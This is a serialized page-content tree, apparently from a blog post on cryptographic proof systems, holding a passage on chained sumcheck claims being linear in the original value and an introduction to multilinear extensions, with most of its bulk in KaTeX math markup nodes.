communication costs.",{"type":24,"tag":25,"props":112296,"children":112297},{},[112298],{"type":29,"value":112299},"The next claim in the chain is",{"type":24,"tag":25,"props":112301,"children":112302},{},[112303],{"type":24,"tag":154,"props":112304,"children":112306},{"className":112305},[5642,5643],[112307],{"type":24,"tag":158,"props":112308,"children":112310},{"className":112309},[5648],[112311],{"type":24,"tag":158,"props":112312,"children":112314},{"className":112313,"ariaHidden":3185},[5653],[112315,112394,112539,112565,112592,112670,112696,112793,112829,112907,112943,113031,113123],{"type":24,"tag":158,"props":112316,"children":112318},{"className":112317},[5658],[112319,112324,112381,112385,112390],{"type":24,"tag":158,"props":112320,"children":112323},{"className":112321,"style":112322},[5663],"height:0.8333em;vertical-align:-0.15em;",[],{"type":24,"tag":158,"props":112325,"children":112327},{"className":112326},[5669],[112328,112333],{"type":24,"tag":158,"props":112329,"children":112331},{"className":112330,"style":94559},[5669,22832],[112332],{"type":29,"value":94562},{"type":24,"tag":158,"props":112334,"children":112336},{"className":112335},[5686],[112337],{"type":24,"tag":158,"props":112338,"children":112340},{"className":112339},[5691,22886],[112341,112370],{"type":24,"tag":158,"props":112342,"children":112344},{"className":112343},[5696],[112345,112365],{"type":24,"tag":158,"props":112346,"children":112348},{"className":112347,"style":94854},[5701],[112349],{"type":24,"tag":158,"props":112350,"children":112351},{"style":111754},[112352,112356],{"type":24,"tag":158,"props":112353,"children":112355},{"className":112354,"style":5711},[5710],[],{"type":24,"tag":158,"props":112357,"children":112359},{"className":112358},[5716,5717,5718,5719],[112360],{"type":24,"tag":158,"props":112361,"children":112363},{"className":112362},[5669,22832,5719],[112364],{"type":29,"value":1832},{"type":24,"tag":158,"props":112366,"children":112368},{"className":112367},[22989],[112369],{"type":29,"value":22992},{"type":24,"tag":158,"props":112371,"children":112373},{"className":112372},[5696],[112374],{"type":24,"tag":158,"props":112375,"children":112377},{"className":112376,"style":94408},[5701],[112378],{"type":24,"tag":158,"props":112379,"children":112380},{},[],{"type":24,"tag":158,"props":112382,"children":112384},{"className":112383,"style":5848},[5750],[],{"type":24,"tag":158,"props":112386,"children":112388},{"className":112387},[5853],[112389],{"type":29,"value":1285},{"type":24,"tag":158,"props":112391,"children":112393},{"className":112392,"style":5848},[5750],[],{"type":24,"tag":158,"props":112395,"children":112397},{"className":112396},[5658],[112398,112402,112459,112464,112521,112526,112530,112535],{"type":24,"tag":158,"props":112399,"children":112401},{"className":112400,"style":5771},[5663],[],{"type":24,"tag":158,"props":112403,"children":112405},{"className":112404},[5669],[112406,112411],{"type":24,"tag":158,"props":112407,"children":112409},{"className":112408,"style":94811},[5669,22832],[112410],{"type":29,"value":110576},{"type":24,"tag":158,"props":112412,"children":112414},{"className":112413},[5686],[112415],{"type":24,"tag":158,"props":112416,"children":112418},{"className":112417},[5691,22886],[112419,112448],{"type":24,"tag":158,"props":112420,"children":112422},{"className":112421},[5696],[112423,112443],{"type":24,"tag":158,"props":112424,"children":112426},{"className":112425,"style":94854},[5701],[112427],{"type":24,"tag":158,"props":112428,"children":112429},{"style":94858},[112430,112434],{"type":24,"tag":158,"props":112431,"children":112433},{"className":112432,"style":5711},[5710],[],{"type":24,"tag":158,"props":112435,"children":112437},{"className":112436},[5716,5717,5718,5719],[112438],{"type":24,"tag":158,"props":112439,"children":112441},{"className":112440},[5669,22832,5719],[112442],{"type":29,"value":1832},{"type":24,"tag":158,"props":112444,"children":112446},{"className":112445},[22989],[112447],{"type":29,"value":22992},{"type":24,"tag":158,"props":112449,"children":112451},{"className":112450},[5696],[112452],{"type":24,"tag":158,"props":112453,"children":112455},{"className":112454,"style":94408},[5701],[112456],{"type":24,"tag":158,"props":112457,"children":112458},{},[],{"type":24,"tag":158,"props":112460,"children":112462},{"className":112461},[22961],[112463],{"type":29,"value":504},{"type":24,"tag":158,"props":112465,"children":112467},{"className":112466},[5669],[112468,112473],{"type":24,"tag":158,"props":112469,"children":112471},{"className":112470,"style":94325},[5669,22832],[112472],{"type":29,"value":95144},{"type":24,"tag":158,"props":112474,"children":112476},{"className":112475},[5686],[112477],{"type":24,"tag":158,"props":112478,"children":112480},{"className":112479},[5691,22886],[112481,112510],{"type":24,"tag":158,"props":112482,"children":112484},{"className":112483},[5696],[112485,112505],{"type":24,"tag":158,"props":112486,"children":112488},{"className":112487,"style":94854},[5701],[112489],{"type":24,"tag":158,"props":112490,"children":112491},{"style":111324},[112492,112496],{"type":24,"tag":158,"props":112493,"children":112495},{"className":112494,"style":5711},[5710],[],{"type":24,"tag":158,"props":112497,"children":112499},{"className":112498},[5716,5717,5718,5719],[112500],{"type":24,"tag":158,"props":112501,"children":112503},{"className":112502},[5669,22832,5719],[112504],{"type":29,"value":1832},{"type":24,"tag":158,"props":112506,"children":112508},{"className":112507},[22989],[112509],{"type":29,"value":22992},{"type":24,"tag":158,"props":112511,"children":112513},{"className":112512},[5696],[112514],{"type":24,"tag":158,"props":112515,"children":112517},{"className":112516,"style":94408},[5701],[112518],{"type":24,"tag":158,"props":112519,"children":112520},{},[],{"type":24,"tag":158,"props":112522,"children":112524},{"className":112523},[22983],[112525],{"type":29,"value":521},{"type":24,"tag":158,"props":112527,"children":112529},{"className":112528,"style":5848},[5750],[],{"type":24,"tag":158,"props":112531,"children":112533},{"className":112532},[5853],[112534],{"type":29,"value":1285},{"type":24,"tag":158,"props":112536,"children":112538},{"className":112537,"style":5848},[5750],[],{"type":24,"tag":158,"props":112540,"children":112542},{"className":112541},[5658],[112543,112547,112552,112556,112561],{"type":24,"tag":158,"props":112544,"children":112546},{"className":112545,"style":111480},[5663],[],{"type":24,"tag":158,"props":112548,"children":112550},{"className":112549},[5669,22832],[112551],{"type":29,"value":101},{"type":24,"tag":158,"props":112553,"children":112555},{"className":112554,"style":5751},[5750],[],{"type":24,"tag":158,"props":112557,"children":112559},{"className":112558},[5756],[112560],{"type":29,"value":728},{"type":24,"tag":158,"props":112562,"children":112564},{"className":112563,"style":5751},[5750],[],{"type":24,"tag":158,"props":112566,"children":112568},{"className":112567},[5658],[112569,112573,112578,112582,112588],{"type":24,"tag":158,"props":112570,"children":112572},{"className":112571,"style":94240},[5663],[],{"type":24,"tag":158,"props":112574,"children":112576},{"className":112575},[5669,22832],[112577],{"type":29,"value":741},{"type":24,"tag":158,"props":112579,"children":112581},{"className":112580,"style":5751},[5750],[],{"type":24,"tag":158,"props":112583,"children":112585},{"className":112584},[5756],[112586],{"type":29,"value":112587},"⋅",{"type":24,"tag":158,"props":112589,"children":112591},{"className":112590,"style":5751},[5750],[],{"type":24,"tag":158,"props":112593,"children":112595},{"className":112594},[5658],[112596,112600,112657,112661,112666],{"type":24,"tag":158,"props":112597,"children":112599},{"className":112598,"style":111295},[5663],[],{"type":24,"tag":158,"props":112601,"children":112603},{"className":112602},[5669],[112604,112609],{"type":24,"tag":158,"props":112605,"children":112607},{"className":112606,"style":94325},[5669,22832],[112608],{"type":29,"value":95144},{"type":24,"tag":158,"props":112610,"children":112612},{"className":112611},[5686],[112613],{"type":24,"tag":158,"props":112614,"children":112616},{"className":112615},[5691,22886],[112617,112646],{"type":24,"tag":158,"props":112618,"children":112620},{"className":112619},[5696],[112621,112641],{"type":24,"tag":158,"props":112622,"children":112624},{"className":112623,"style":94854},[5701],[112625],{"type":24,"tag":158,"props":112626,"children":112627},{"style":111324},[112628,112632],{"type":24,"tag":158,"props":112629,"children":112631},{"className":112630,"style":5711},[5710],[],{"type":24,"tag":158,"props":112633,"children":112635},{"className":112634},[5716,5717,5718,5719],[112636],{"type":24,"tag":158,"props":112637,"children":112639},{"className":112638},[5669,22832,5719],[112640],{"type":29,"value":1832},{"type":24,"tag":158,"props":112642,"children":112644},{"className":112643},[22989],[112645],{"type":29,"value":22992},{"type":24,"tag":158,"props":112647,"children":112649},{"className":112648},[5696],[112650],{"type":24,"tag":158,"props":112651,"children":112653},{"className":112652,"style":94408},[5701],[112654],{"type":24,"tag":158,"props":112655,"children":112656},{},[],{"type":24,"tag":158,"props":112658,"children":112660},{"className":112659,"style":5848},[5750],[],{"type":24,"tag":158,"props":112662,"children":112664},{"className":112663},[5853],[112665],{"type":29,"value":1285},{"type":24,"tag":158,"props":112667,"children":112669},{"className":112668,"style":5848},[5750],[],{"type":24,"tag":158,"props":112671,"children":112673},{"className":112672},[5658],[112674,112678,112683,112687,112692],{"type":24,"tag":158,"props":112675,"children":112677},{"className":112676,"style":111480},[5663],[],{"type":24,"tag":158,"props":112679,"children":112681},{"className":112680},[5669,22832],[112682],{"type":29,"value":101},{"type":24,"tag":158,"props":112684,"children":112686},{"className":112685,"style":5751},[5750],[],{"type":24,"tag":158,"props":112688,"children":112690},{"className":112689},[5756],[112691],{"type":29,"value":728},{"type":24,"tag":158,"props":112693,"children":112695},{"className":112694,"style":5751},[5750],[],{"type":24,"tag":158,"props":112697,"children":112699},{"className":112698},[5658],[112700,112704,112709,112780,112784,112789],{"type":24,"tag":158,"props":112701,"children":112703},{"className":112702,"style":5771},[5663],[],{"type":24,"tag":158,"props":112705,"children":112707},{"className":112706},[22961],[112708],{"type":29,"value":504},{"type":24,"tag":158,"props":112710,"children":112712},{"className":112711},[5669],[112713,112718],{"type":24,"tag":158,"props":112714,"children":112716},{"className":112715,"style":94559},[5669,22832],[112717],{"type":29,"value":94562},{"type":24,"tag":158,"props":112719,"children":112721},{"className":112720},[5686],[112722],{"type":24,"tag":158,"props":112723,"children":112725},{"className":112724},[5691,22886],[112726,112769],{"type":24,"tag":158,"props":112727,"children":112729},{"className":112728},[5696],[112730,112764],{"type":24,"tag":158,"props":112731,"children":112733},{"className":112732,"style":94854},[5701],[112734],{"type":24,"tag":158,"props":112735,"children":112736},{"style":111754},[112737,112741],{"type":24,"tag":158,"props":112738,"children":112740},{"className":112739,"style":5711},[5710],[],{"type":24,"tag":158,"props":112742,"children":112744},{"className":112743},[5716,5717,5718,5719],[112745],{"type":24,"tag":158,"props":112746,"children":112748},{"className":112747},[5669,5719],[112749,112754,112759],{"type":24,"tag":158,"props":112750,"children":112752},{"className":112751},[5669,22832,5719],[112753],{"type":29,"value":1832},{"type":24,"tag":158,"props":112755,"children":112757},{"className":112756},[5756,5719],[112758],{"type":29,"value":5730},{"type":24,"tag":158,"props":112760,"children":112762},{"className":112761},[5669,5719],[112763],{"type":29,"value":5672},{"type":24,"tag":158,"props":112765,"children":112767},{"className":112766},[22989],[112768],{"type":29,"value":22992},{"type":24,"tag":158,"props":112770,"children":112772},{"className":112771},[5696],[112773],{"type":24,"tag":158,"props":112774,"children":112776},{"className":112775,"style":111795},[5701],[112777],{"type":24,"tag":158,"props":112778,"children":112779},{},[],{"type":24,"tag":158,"props":112781,"children":112783},{"className":112782,"style":5751},[5750],[],{"type":24,"tag":158,"props":112785,"children":112787},{"className":112786},[5756],[112788],{"type":29,"value":5730},{"type":24,"tag":158,"props":112790,"children":112792},{"className":112791,"style":5751},[5750],[],{"type":24,"tag":158,"props":112794,"children":112796},{"className":112795},[5658],[112797,112801,112806,112811,112816,112820,112825],{"type":24,"tag":158,"props":112798,"children":112800},{"className":112799,"style":5771},[5663],[],{"type":24,"tag":158,"props":112802,"children":112804},{"className":112803},[5669],[112805],{"type":29,"value":4789},{"type":24,"tag":158,"props":112807,"children":112809},{"className":112808},[5669,22832],[112810],{"type":29,"value":101},{"type":24,"tag":158,"props":112812,"children":112814},{"className":112813},[22983],[112815],{"type":29,"value":521},{"type":24,"tag":158,"props":112817,"children":112819},{"className":112818,"style":5751},[5750],[],{"type":24,"tag":158,"props":112821,"children":112823},{"className":112822},[5756],[112824],{"type":29,"value":112587},{"type":24,"tag":158,"props":112826,"children":112828},{"className":112827,"style":5751},[5750],[],{"type":24,"tag":158,"props":112830,"children":112832},{"className":112831},[5658],[112833,112837,112894,112898,112903],{"type":24,"tag":158,"props":112834,"children":112836},{"className":112835,"style":111295},[5663],[],{"type":24,"tag":158,"props":112838,"children":112840},{"className":112839},[5669],[112841,112846],{"type":24,"tag":158,"props":112842,"children":112844},{"className":112843,"style":94325},[5669,22832],[112845],{"type":29,"value":95144},{"type":24,"tag":158,"props":112847,"children":112849},{"className":112848},[5686],[112850],{"type":24,"tag":158,"props":112851,"children":112853},{"className":112852},[5691,22886],[112854,112883],{"type":24,"tag":158,"props":112855,"children":112857},{"className":112856},[5696],[112858,112878],{"type":24,"tag":158,"props":112859,"children":112861},{"className":112860,"style":94854},[5701],[112862],{"type":24,"tag":158,"props":112863,"children":112864},{"style":111324},[112865,112869],{"type":24,"tag":158,"props":112866,"children":112868},{"className":112867,"style":5711},[5710],[],{"type":24,"tag":158,"props":112870,"children":112872},{"className":112871},[5716,5717,5718,5719],[112873],{"type":24,"tag":158,"props":112874,"children":112876},{"className":112875},[5669,22832,5719],[112877],{"type":29,"value":1832},{"type":24,"tag":158,"props":112879,"children":112881},{"className":112880},[22989],[112882],{"type":29,"value":22992},{"type":24,"tag":158,"props":112884,"children":112886},{"className":112885},[5696],[112887],{"type":24,"tag":158,"props":112888,"children":112890},{"className":112889,"style":94408},[5701],[112891],{"type":24,"tag":158,"props":112892,"children":112893},{},[],{"type":24,"tag":158,"props":112895,"children":112897},{"className":112896,"style":5848},[5750],[],{"type":24,"tag":158,"props":112899,"children":112901},{"className":112900},[5853],[112902],{"type":29,"value":1285},{"type":24,"tag":158,"props":112904,"children":112906},{"className":112905,"style":5848},[5750],[],{"type":24,"tag":158,"props":112908,"children":112910},{"className":112909},[5658],[112911,112915,112920,112925,112930,112934,112939],{"type":24,"tag":158,"props":112912,"children":112914},{"className":112913,"style":5771},[5663],[],{"type":24,"tag":158,"props":112916,"children":112918},{"className":112917},[5669,22832],[112919],{"type":29,"value":101},{"type":24,"tag":158,"props":112921,"children":112923},{"className":112922},[22961],[112924],{"type":29,"value":504},{"type":24,"tag":158,"props":112926,"children":112928},{"className":112927},[5669],[112929],{"type":29,"value":5672},{"type":24,"tag":158,"props":112931,"children":112933},{"className":112932,"style":5751},[5750],[],{"type":24,"tag":158,"props":112935,"children":112937},{"className":112936},[5756],[112938],{"type":29,"value":5730},{"type":24,"tag":158,"props":112940,"children":112942},{"className":112941,"style":5751},[5750],[],{"type":24,"tag":158,"props":112944,"children":112946},{"className":112945},[5658],[112947,112951,112956,113013,113018,113022,113027],{"type":24,"tag":158,"props":112948,"children":112950},{"className":112949,"style":5771},[5663],[],{"type":24,"tag":158,"props":112952,"children":112954},{"className":112953},[5669],[112955],{"type":29,"value":4789},{"type":24,"tag":158,"props":112957,"children":112959},{"className":112958},[5669],[112960,112965],{"type":24,"tag":158,"props":112961,"children":112963},{"className":112962,"style":94325},[5669,22832],[112964],{"type":29,"value":95144},{"type":24,"tag":158,"props":112966,"children":112968},{"className":112967},[5686],[112969],{"type":24,"tag":158,"props":112970,"children":112972},{"className":112971},[5691,22886],[112973,113002],{"type":24,"tag":158,"props":112974,"children":112976},{"className":112975},[5696],[112977,112997],{"type":24,"tag":158,"props":112978,"children":112980},{"className":112979,"style":94854},[5701],[112981],{"type":24,"tag":158,"props":112982,"children":112983},{"style":111324},[112984,112988],{"type":24,"tag":158,"props":112985,"children":112987},{"className":112986,"style":5711},[5710],[],{"type":24,"tag":158,"props":112989,"children":112991},{"className":112990},[5716,5717,5718,5719],[112992],{"type":24,"tag":158,"props":112993,"children":112995},{"className":112994},[5669,22832,5719],[112996],{"type":29,"value":1832},{"type":24,"tag":158,"props":112998,"children":113000},{"className":112999},[22989],[113001],{"type":29,"value":22992},{"type":24,"tag":158,"props":113003,"children":113005},{"className":113004},[5696],[113006],{"type":24,"tag":158,"props":113007,"children":113009},{"className":113008,"style":94408},[5701],[113010],{"type":24,"tag":158,"props":113011,"children":113012},{},[],{"type":24,"tag":158,"props":113014,"children":113016},{"className":113015},[22983],[113017],{"type":29,"value":521},{"type":24,"tag":158,"props":113019,"children":113021},{"className":113020,"style":5751},[5750],[],{"type":24,"tag":158,"props":113023,"children":113025},{"className":113024},[5756],[113026],{"type":29,"value":728},{"type":24,"tag":158,"props":113028,"children":113030},{"className":113029,"style":5751},[5750],[],{"type":24,"tag":158,"props":113032,"children":113034},{"className":113033},[5658],[113035,113039,113110,113114,113119],{"type":24,"tag":158,"props":113036,"children":113038},{"className":113037,"style":111725},[5663],[],{"type":24,"tag":158,"props":113040,"children":113042},{"className":113041},[5669],[113043,113048],{"type":24,"tag":158,"props":113044,"children":113046},{"className":113045,"style":94559},[5669,22832],[113047],{"type":29,"value":94562},{"type":24,"tag":158,"props":113049,"children":113051},{"className":113050},[5686],[113052],{"type":24,"tag":158,"props":113053,"children":113055},{"className":113054},[5691,22886],[113056,113099],{"type":24,"tag":158,"props":113057,"children":113059},{"className":113058},[5696],[113060,113094],{"type":24,"tag":158,"props":113061,"children":113063},{"className":113062,"style":94854},[5701],[113064],{"type":24,"tag":158,"props":113065,"children":113066},{"style":111754},[113067,113071],{"type":24,"tag":158,"props":113068,"children":113070},{"className":113069,"style":5711},[5710],[],{"type":24,"tag":158,"props":113072,"children":113074},{"className":113073},[5716,5717,5718,5719],[113075],{"type":24,"tag":158,"props":113076,"children":113078},{"className":113077},[5669,5719],[113079,113084,113089],{"type":24,"tag":158,"props":113080,"children":113082},{"className":113081},[5669,22832,5719],[113083],{"type":29,"value":1832},{"type":24,"tag":158,"props":113085,"children":113087},{"className":113086},[5756,5719],[113088],{"type":29,"value":5730},{"type":24,"tag":158,"props":113090,"children":113092},{"className":113091},[5669,5719],[113093],{"type":29,"value":5672},{"type":24,"tag":158,"props":113095,"children":113097},{"className":113096},[22989],[113098],{"type":29,"value":22992},{"type":24,"tag":158,"props":113100,"children":113102},{"className":113101},[5696],[113103],{"type":24,"tag":158,"props":113104,"children":113106},{"className":113105,"style":111795},[5701],[113107],{"type":24,"tag":158,"props":113108,"children":113109},{},[],{"type":24,"tag":158,"props":113111,"children":113113},{"className":113112,"style":5751},[5750],[],{"type":24,"tag":158,"props":113115,"children":113117},{"className":113116},[5756],[113118],{"type":29,"value":112587},{"type":24,"tag":158,"props":113120,"children":113122},{"className":113121,"style":5751},[5750],[],{"type":24,"tag":158,"props":113124,"children":113126},{"className":113125},[5658],[113127,113131],{"type":24,"tag":158,"props":113128,"children":113130},{"className":113129,"style":111295},[5663],[],{"type":24,"tag":158,"props":113132,"children":113134},{"className":113133},[5669],[113135,113140],{"type":24,"tag":158,"props":113136,"children":113138},{"className":113137,"style":94325},[5669,22832],[113139],{"type":29,"value":95144},{"type":24,"tag":158,"props":113141,"children":113143},{"className":113142},[5686],[113144],{"type":24,"tag":158,"props":113145,"children":113147},{"className":113146},[5691,22886],[113148,113177],{"type":24,"tag":158,"props":113149,"children":113151},{"className":113150},[5696],[113152,113172],{"type":24,"tag":158,"props":113153,"children":113155},{"className":113154,"style":94854},[5701],[113156],{"type":24,"tag":158,"props":113157,"children":113158},{"style":111324},[113159,113163],{"type":24,"tag":158,"props":113160,"children":113162},{"className":113161,"style":5711},[5710],[],{"type":24,"tag":158,"props":113164,"children":113166},{"className":113165},[5716,5717,5718,5719],[113167],{"type":24,"tag":158,"props":113168,"children":113170},{"className":113169},[5669,22832,5719],[113171],{"type":29,"value":1832},{"type":24,"tag":158,"props":113173,"children":113175},{"className":113174},[22989],[113176],{"type":29,"value":22992},{"type":24,"tag":158,"props":113178,"children":113180},{"className":113179},[5696],[113181],{"type":24,"tag":158,"props":113182,"children":113184},{"className":113183,"style":94408},[5701],[113185],{"type":24,"tag":158,"props":113186,"children":113187},{},[],{"type":24,"tag":25,"props":113189,"children":113190},{},[113191,113192,113288,113290,113315,113317,113342],{"type":29,"value":47406},{"type":24,"tag":897,"props":113193,"children":113194},{},[113195,113197],{"type":29,"value":113196},"linear in ",{"type":24,"tag":154,"props":113198,"children":113200},{"className":113199},[5642,5643],[113201],{"type":24,"tag":158,"props":113202,"children":113204},{"className":113203},[5648],[113205],{"type":24,"tag":158,"props":113206,"children":113208},{"className":113207,"ariaHidden":3185},[5653],[113209],{"type":24,"tag":158,"props":113210,"children":113212},{"className":113211},[5658],[113213,113217],{"type":24,"tag":158,"props":113214,"children":113216},{"className":113215,"style":111725},[5663],[],{"type":24,"tag":158,"props":113218,"children":113220},{"className":113219},[5669],[113221,113226],{"type":24,"tag":158,"props":113222,"children":113224},{"className":113223,"style":94559},[5669,22832],[113225],{"type":29,"value":94562},{"type":24,"tag":158,"props":113227,"children":113229},{"className":113228},[5686],[113230],{"type":24,"tag":158,"props":113231,"children":113233},{"className":113232},[5691,22886],[113234,113277],{"type":24,"tag":158,"props":113235,"children":113237},{"className":113236},[5696],[113238,113272],{"type":24,"tag":158,"props":113239,"children":113241},{"className":113240,"style":94854},[5701],[113242],{"type":24,"tag":158,"props":113243,"children":113244},{"style":111754},[113245,113249],{"type":24,"tag":158,"props":113246,"children":113248},{"className":113247,"style":5711},[5710],[],{"type":24,"tag":158,"props":113250,"children":113252},{"className":113251},[5716,5717,5718,5719],[113253],{"type":24,"tag":158,"props":113254,"children":113256},{"className":113255},[5669,5719],[113257,113262,113267],{"type":24,"tag":158,"props":113258,"children":113260},{"className":113259},[5669,22832,5719],[113261],{"type":29,"value":1832},{"type":24,"tag":158,"props":113263,"children":113265},{"className":113264},[5756,5719],[113266],{"type":29,"value":5730},{"type":24,"tag":158,"props":113268,"children":113270},{"className":113269},[5669,5719],[113271],{"type":29,"value":5672},{"type":24,"tag":158,"props":113273,"children":113275},{"className":113274},[22989],[113276],{"type":29,"value":22992},{"type":24,"tag":158,"props":113278,"children":113280},{"className":113279},[5696],[113281],{"type":24,"tag":158,"props":113282,"children":113284},{"className":113283,"style":111795},[5701],[113285],{"type":24,"tag":158,"props":113286,"children":113287},{},[],{"type":29,"value":113289},"! By induction, the final claim is linear in the original ",{"type":24,"tag":154,"props":113291,"children":113293},{"className":113292},[5642,5643],[113294],{"type":24,"tag":158,"props":113295,"children":113297},{"className":113296},[5648],[113298],{"type":24,"tag":158,"props":113299,"children":113301},{"className":113300,"ariaHidden":3185},[5653],[113302],{"type":24,"tag":158,"props":113303,"children":113305},{"className":113304},[5658],[113306,113310],{"type":24,"tag":158,"props":113307,"children":113309},{"className":113308,"style":22827},[5663],[],{"type":24,"tag":158,"props":113311,"children":113313},{"className":113312,"style":94559},[5669,22832],[113314],{"type":29,"value":94562},{"type":29,"value":113316},". If ",{"type":24,"tag":154,"props":113318,"children":113320},{"className":113319},[5642,5643],[113321],{"type":24,"tag":158,"props":113322,"children":113324},{"className":113323},[5648],[113325],{"type":24,"tag":158,"props":113326,"children":113328},{"className":113327,"ariaHidden":3185},[5653],[113329],{"type":24,"tag":158,"props":113330,"children":113332},{"className":113331},[5658],[113333,113337],{"type":24,"tag":158,"props":113334,"children":113336},{"className":113335,"style":22827},[5663],[],{"type":24,"tag":158,"props":113338,"children":113340},{"className":113339,"style":94559},[5669,22832],[113341],{"type":29,"value":94562},{"type":29,"value":113343}," isn't in the transcript, we can solve for it.",{"type":24,"tag":395,"props":113345,"children":113347},{"id":113346},"multilinear-extensions-mles",[113348],{"type":29,"value":113349},"Multilinear Extensions (MLEs)",{"type":24,"tag":25,"props":113351,"children":113352},{},[113353,113355,113440],{"type":29,"value":113354},"An MLE is just the polynomial view of a table over ",{"type":24,"tag":154,"props":113356,"children":113358},{"className":113357},[5642,5643],[113359],{"type":24,"tag":158,"props":113360,"children":113362},{"className":113361},[5648],[113363],{"type":24,"tag":158,"props":113364,"children":113366},{"className":113365,"ariaHidden":3185},[5653],[113367],{"type":24,"tag":158,"props":113368,"children":113370},{"className":113369},[5658],[113371,113375,113380,113385,113390,113394,113399],{"type":24,"tag":158,"props":113372,"children":113374},{"className":113373,"style":5771},[5663],[],{"type":24,"tag":158,"props":113376,"children":113378},{"className":113377},[22961],[113379],{"type":29,"value":77896},{"type":24,"tag":158,"props":113381,"children":113383},{"className":113382},[5669],[113384],{"type":29,"value":5682},{"type":24,"tag":158,"props":113386,"children":113388},{"className":113387},[5782],[113389],{"type":29,"value":5785},{"type":24,"tag":158,"props":113391,"children":113393},{"className":113392,"style":5789},[5750],[],{"type":24,"tag":158,"props":113395,"children":113397},{"className":113396},[5669],[113398],{"type":29,"value":5672},{"type":24,"tag":158,"props":113400,"children":113402},{"className":113401},[22983],[113403,113408],{"type":24,"tag":158,"props":113404,"children":113406},{"className":113405},[22983],[113407],{"type":29,"value":35403},{"type":24,"tag":158,"props":113409,"children":113411},{"className":113410},[5686],[113412],{"type":24,"tag":158,"props":113413,"children":113415},{"className":113414},[5691],[113416],{"type":24,"tag":158,"props":113417,"children":113419},{"className":113418},[5696],[113420],{"type":24,"tag":158,"props":113421,"children":113423},{"className":113422,"style":110042},[5701],[113424],{"type":24,"tag":158,"props":113425,"children":113426},{"style":5705},[113427,113431],{"type":24,"tag":158,"props":113428,"children":113430},{"className":113429,"style":5711},[5710],[],{"type":24,"tag":158,"props":113432,"children":113434},{"className":113433},[5716,5717,5718,5719],[113435],{"type":24,"tag":158,"props":113436,"children":113438},{"className":113437},[5669,22832,5719],[113439],{"type":29,"value":57676},{"type":29,"value":113441},": it matches the table on Boolean points and extends it to field points.",{"type":24,"tag":25,"props":113443,"children":113444},{},[113445],{"type":29,"value":113446},"For this post, the only property you need is:",{"type":24,"tag":25,"props":113448,"children":113449},{},[113450],{"type":24,"tag":154,"props":113451,"children":113453},{"className":113452},[5642,5643],[113454],{"type":24,"tag":158,"props":113455,"children":113457},{"className":113456},[5648],[113458],{"type":24,"tag":158,"props":113459,"children":113461},{"className":113460,"ariaHidden":3185},[5653],[113462,113624,113896],{"type":24,"tag":158,"props":113463,"children":113465},{"className":113464},[5658],[113466,113471,113540,113545,113606,113611,113615,113620],{"type":24,"tag":158,"props":113467,"children":113470},{"className":113468,"style":113469},[5663],"height:1.1813em;vertical-align:-0.25em;",[],{"type":24,"tag":158,"props":113472,"children":113475},{"className":113473},[5669,113474],"accent",[113476],{"type":24,"tag":158,"props":113477,"children":113479},{"className":113478},[5691,22886],[113480,113528],{"type":24,"tag":158,"props":113481,"children":113483},{"className":113482},[5696],[113484,113523],{"type":24,"tag":158,"props":113485,"children":113488},{"className":113486,"style":113487},[5701],"height:0.9313em;",[113489,113503],{"type":24,"tag":158,"props":113490,"children":113492},{"style":113491},"top:-3em;",[113493,113498],{"type":24,"tag":158,"props":113494,"children":113497},{"className":113495,"style":113496},[5710],"height:3em;",[],{"type":24,"tag":158,"props":113499,"children":113501},{"className":113500,"style":96679},[5669,22832],[113502],{"type":29,"value":34347},{"type":24,"tag":158,"props":113504,"children":113506},{"style":113505},"top:-3.6134em;",[113507,113511],{"type":24,"tag":158,"props":113508,"children":113510},{"className":113509,"style":113496},[5710],[],{"type":24,"tag":158,"props":113512,"children":113516},{"className":113513,"style":113515},[113514],"accent-body","left:-0.0833em;",[113517],{"type":24,"tag":158,"props":113518,"children":113520},{"className":113519},[5669],[113521],{"type":29,"value":113522},"~",{"type":24,"tag":158,"props":113524,"children":113526},{"className":113525},[22989],[113527],{"type":29,"value":22992},{"type":24,"tag":158,"props":113529,"children":113531},{"className":113530},[5696],[113532],{"type":24,"tag":158,"props":113533,"children":113536},{"className":113534,"style":113535},[5701],"height:0.1944em;",[113537],{"type":24,"tag":158,"props":113538,"children":113539},{},[],{"type":24,"tag":158,"props":113541,"children":113543},{"className":113542},[22961],[113544],{"type":29,"value":504},{"type":24,"tag":158,"props":113546,"children":113548},{"className":113547},[5669,113474],[113549],{"type":24,"tag":158,"props":113550,"children":113552},{"className":113551},[5691],[113553],{"type":24,"tag":158,"props":113554,"children":113556},{"className":113555},[5696],[113557],{"type":24,"tag":158,"props":113558,"children":113561},{"className":113559,"style":113560},[5701],"height:0.714em;",[113562,113574],{"type":24,"tag":158,"props":113563,"children":113564},{"style":113491},[113565,113569],{"type":24,"tag":158,"props":113566,"children":113568},{"className":113567,"style":113496},[5710],[],{"type":24,"tag":158,"props":113570,"children":113572},{"className":113571,"style":94325},[5669,22832],[113573],{"type":29,"value":95144},{"type":24,"tag":158,"props":113575,"children":113576},{"style":113491},[113577,113581],{"type":24,"tag":158,"props":113578,"children":113580},{"className":113579,"style":113496},[5710],[],{"type":24,"tag":158,"props":113582,"children":113585},{"className":113583,"style":113584},[113514],"left:-0.1799em;",[113586],{"type":24,"tag":158,"props":113587,"children":113591},{"className":113588,"style":113590},[113589],"overlay","height:0.714em;width:0.471em;",[113592],{"type":24,"tag":35536,"props":113593,"children":113600},{"xmlns":113594,"width":113595,"height":113596,"style":113597,"viewBox":113598,"preserveAspectRatio":113599},"http://www.w3.org/2000/svg","0.471em","0.714em","width:0.471em","0 0 471 714","xMinYMin",[113601],{"type":24,"tag":113602,"props":113603,"children":113605},"path",{"d":113604},"M377 20c0-5.333 1.833-10 5.5-14S391 0 397 0c4.667 0 8.667 1.667 12 5\n3.333 2.667 6.667 9 10 19 6.667 24.667 20.333 43.667 41 57 7.333 4.667 11\n10.667 11 18 0 6-1 10-3 12s-6.667 5-14 9c-28.667 14.667-53.667 35.667-75 63\n-1.333 1.333-3.167 3.5-5.5 6.5s-4 4.833-5 5.5c-1 .667-2.5 1.333-4.5 2s-4.333 1\n-7 1c-4.667 0-9.167-1.833-13.5-5.5S337 184 337 178c0-12.667 15.667-32.333 47-59\nH213l-171-1c-8.667-6-13-12.333-13-19 0-4.667 4.333-11.333 